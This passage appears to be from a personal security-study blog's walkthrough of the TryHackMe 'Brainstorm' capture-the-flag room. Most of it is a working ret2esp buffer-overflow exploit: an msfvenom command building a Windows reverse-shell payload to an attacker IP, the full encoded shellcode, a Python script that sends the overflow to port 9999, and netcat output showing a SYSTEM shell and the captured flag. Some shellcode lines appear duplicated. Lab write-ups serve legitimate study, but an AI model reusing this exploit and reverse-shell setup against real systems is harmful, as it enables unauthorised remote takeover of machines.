┌──(hacklab㉿hacklab)-[~/tryhackme/Brainstorm] └─$ msfvenom -p windows/shell_reverse_tcp LHOST=10.18.110.90 LPORT=1234 EXITFUNC=thread -f py -e x86/shikata_ga_nai -b "\x00" [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload Found 1 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 351 (iteration=0) x86/shikata_ga_nai chosen with final size 351 Payload size: 351 bytes Final size of py file: 1712 bytes buf = b"" buf += b"\xd9\xe8\xba\x61\x87\x63\xd7\xd9\x74\x24\xf4\x58\x31" buf += b"\xc9\xb1\x52\x31\x50\x17\x03\x50\x17\x83\x89\x7b\x81" buf += b"\x22\xb5\x6c\xc4\xcd\x45\x6d\xa9\x44\xa0\x5c\xe9\x33" buf += b"\xa1\xcf\xd9\x30\xe7\xe3\x92\x15\x13\x77\xd6\xb1\x14" buf += b"\x30\x5d\xe4\x1b\xc1\xce\xd4\x3a\x41\x0d\x09\x9c\x78" buf += b"\xde\x5c\xdd\xbd\x03\xac\x8f\x16\x4f\x03\x3f\x12\x05" buf += b"\x98\xb4\x68\x8b\x98\x29\x38\xaa\x89\xfc\x32\xf5\x09" buf += b"\xff\x97\x8d\x03\xe7\xf4\xa8\xda\x9c\xcf\x47\xdd\x74" buf += b"\x1e\xa7\x72\xb9\xae\x5a\x8a\xfe\x09\x85\xf9\xf6\x69" buf += b"\x1e\xa7\x72\xb9\xae\x5a\x8a\xfe\x09\x85\xf9\xf6\x69" buf += b"\x38\xfa\xcd\x10\xe6\x8f\xd5\xb3\x6d\x37\x31\x45\xa1" buf += b"\xae\xb2\x49\x0e\xa4\x9c\x4d\x91\x69\x97\x6a\x1a\x8c" buf += b"\x77\xfb\x58\xab\x53\xa7\x3b\xd2\xc2\x0d\xed\xeb\x14" buf += b"\xee\x52\x4e\x5f\x03\x86\xe3\x02\x4c\x6b\xce\xbc\x8c" buf += b"\xe3\x59\xcf\xbe\xac\xf1\x47\xf3\x25\xdc\x90\xf4\x1f" buf += b"\x98\x0e\x0b\xa0\xd9\x07\xc8\xf4\x89\x3f\xf9\x74\x42" buf += b"\xbf\x06\xa1\xc5\xef\xa8\x1a\xa6\x5f\x09\xcb\x4e\xb5" buf += b"\x86\x34\x6e\xb6\x4c\x5d\x05\x4d\x07\x68\xc8\x23\x8d" buf += b"\x04\xee\xbb\x35\x07\x67\x5d\x5f\xb7\x2e\xf6\xc8\x2e" buf += b"\x6b\x8c\x69\xae\xa1\xe9\xaa\x24\x46\x0e\x64\xcd\x23" buf += b"\x1c\x11\x3d\x7e\x7e\x7e\xb4\x42\x54\x16\x5a\xd0\x33\xe6" buf += b"\x15\xc9\xeb\xb1\x72\x3f\xe2\x57\x6f\x66\x5c\x45\x72" buf += b"\x15\xc9\xeb\xb1\x72\x3f\xe2\x57\x6f\x66\x5c\x45\x72" buf += b"\xfe\xa7\xcd\xa9\xc3\x26\xcc\x3c\x7f\x0d\xde\xf8\x80" buf += b"\x09\x8a\x54\xd7\xc7\x64\x13\x81\xa9\xde\xcd\x7e\x60" buf += b"\xb6\x88\x4c\xb3\xc0\x94\x98\x45\x2c\x24\x75\x10\x53" buf += b"\x89\x11\x94\x2c\xf7\x81\x5b\xe7\xb3\xa2\xb9\x2d\xce" buf += b"\x4a\x64\xa4\x73\x17\x97\x13\xb7\x2e\x14\x91\x48\xd5" buf += b"\x04\xd0\x4d\x91\x82\x09\x3c\x8a\x66\x2d\x93\xab\xa2"

Next, rewrite buf.

┌──(hacklab㉿hacklab)-[~/tryhackme/Brainstorm] └─$ cat test3.py #!/usr/bin/python import socket,sys address = '10.10.131.55' port = 9999 user = 'test'.encode("utf-8") buf = b"" buf += b"\xd9\xe8\xba\x61\x87\x63\xd7\xd9\x74\x24\xf4\x58\x31" buf += b"\xc9\xb1\x52\x31\x50\x17\x03\x50\x17\x83\x89\x7b\x81" buf += b"\x22\xb5\x6c\xc4\xcd\x45\x6d\xa9\x44\xa0\x5c\xe9\x33" buf += b"\xa1\xcf\xd9\x30\xe7\xe3\x92\x15\x13\x77\xd6\xb1\x14" buf += b"\x30\x5d\xe4\x1b\xc1\xce\xd4\x3a\x41\x0d\x09\x9c\x78" buf += b"\xde\x5c\xdd\xbd\x03\xac\x8f\x16\x4f\x03\x3f\x12\x05" buf += b"\x98\xb4\x68\x8b\x98\x29\x38\xaa\x89\xfc\x32\xf5\x09" buf += b"\xff\x97\x8d\x03\xe7\xf4\xa8\xda\x9c\xcf\x47\xdd\x74" buf += b"\x1e\xa7\x72\xb9\xae\x5a\x8a\xfe\x09\x85\xf9\xf6\x69" buf += b"\x1e\xa7\x72\xb9\xae\x5a\x8a\xfe\x09\x85\xf9\xf6\x69" buf += b"\x38\xfa\xcd\x10\xe6\x8f\xd5\xb3\x6d\x37\x31\x45\xa1" buf += b"\xae\xb2\x49\x0e\xa4\x9c\x4d\x91\x69\x97\x6a\x1a\x8c" buf += b"\x77\xfb\x58\xab\x53\xa7\x3b\xd2\xc2\x0d\xed\xeb\x14" buf += b"\xee\x52\x4e\x5f\x03\x86\xe3\x02\x4c\x6b\xce\xbc\x8c" buf += b"\xe3\x59\xcf\xbe\xac\xf1\x47\xf3\x25\xdc\x90\xf4\x1f" buf += b"\x98\x0e\x0b\xa0\xd9\x07\xc8\xf4\x89\x3f\xf9\x74\x42" buf += b"\xbf\x06\xa1\xc5\xef\xa8\x1a\xa6\x5f\x09\xcb\x4e\xb5" buf += b"\x86\x34\x6e\xb6\x4c\x5d\x05\x4d\x07\x68\xc8\x23\x8d" buf += b"\x04\xee\xbb\x35\x07\x67\x5d\x5f\xb7\x2e\xf6\xc8\x2e" buf += b"\x6b\x8c\x69\xae\xa1\xe9\xaa\x24\x46\x0e\x64\xcd\x23" buf += b"\x1c\x11\x3d\x7e\x7e\x7e\xb4\x42\x54\x16\x5a\xd0\x33\xe6" buf += b"\x15\xc9\xeb\xb1\x72\x3f\xe2\x57\x6f\x66\x5c\x45\x72" buf += b"\x15\xc9\xeb\xb1\x72\x3f\xe2\x57\x6f\x66\x5c\x45\x72" buf += b"\xfe\xa7\xcd\xa9\xc3\x26\xcc\x3c\x7f\x0d\xde\xf8\x80" buf += b"\x09\x8a\x54\xd7\xc7\x64\x13\x81\xa9\xde\xcd\x7e\x60" buf += b"\xb6\x88\x4c\xb3\xc0\x94\x98\x45\x2c\x24\x75\x10\x53" buf += b"\x89\x11\x94\x2c\xf7\x81\x5b\xe7\xb3\xa2\xb9\x2d\xce" buf += b"\x4a\x64\xa4\x73\x17\x97\x13\xb7\x2e\x14\x91\x48\xd5" buf += b"\x04\xd0\x4d\x91\x82\x09\x3c\x8a\x66\x2d\x93\xab\xa2" esp = b'\xdf\x14\x50\x62' nop = b'\x90' * 20 message = ('A' * 2012).encode("utf-8") message += esp message += nop message += buf try: print('[+] Sending buffer') s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((address,port)) s.recv(1024) s.send(user + '\r\n'.encode("utf-8")) s.recv(1024) print("message") s.send(message + '\r\n'.encode("utf-8")) except Exception as e: print(e) print('[!] Unable to connect to the application.') sys.exit(0) finally: s.close()

In this state, when I ran it, I was able to successfully infiltrate the target machine.

┌──(hacklab㉿hacklab)-[~] └─$ nc -nlvp 1234 listening on [any] 1234 ... connect to [10.18.110.90] from (UNKNOWN) [10.10.131.55] 49175 Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami whoami nt authority\system

I'll try looking for root.txt.

┌──(hacklab㉿hacklab)-[~] └─$ nc -nlvp 1234 1 ⨯ listening on [any] 1234 ... connect to [10.18.110.90] from (UNKNOWN) [10.10.131.55] 49196 Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. ... C:\Users\drake\Desktop>dir dir Volume in drive C has no label. Volume Serial Number is C87F-5040 Directory of C:\Users\drake\Desktop 08/29/2019 10:55 PM<DIR> . 08/29/2019 10:55 PM<DIR> .. 08/29/2019 10:55 PM 32 root.txt 1 File(s) 32 bytes 2 Dir(s) 19,703,422,976 bytes free C:\Users\drake\Desktop>type root.txt type root.txt 5b1001de5a44eca47eee71e7942a8f8a C:\Users\drake\Desktop>

I searched the directory and found root.txt!

Answer

summary

This time, I tried out the "ret2esp attack, one of the buffer overflow attacks."

It was quite difficult, but after reading a variety of Writeups, I finally got it. . . That's what it is like.
There were a few that I don't know the answer, so I'll do some research in the future. . .

References and Sites

pencil.io: https://pencer.io/ctf/ctf-thm-brainstorm/
nop-blog: https://nop-blog.tech/tryhackme/brainstorm/
steflan-security.com: https://steflan-security.com/tryhackme-brainstorm-walkthrough/

Share if you like!

Who wrote this article

This is a blog I started to study information security. As a new employee, I would be happy if you could look with a broad heart.
There is also Teech Lab, which is an opportunity to study programming fun, so if you are interested in software development, be sure to take a look!

table of contents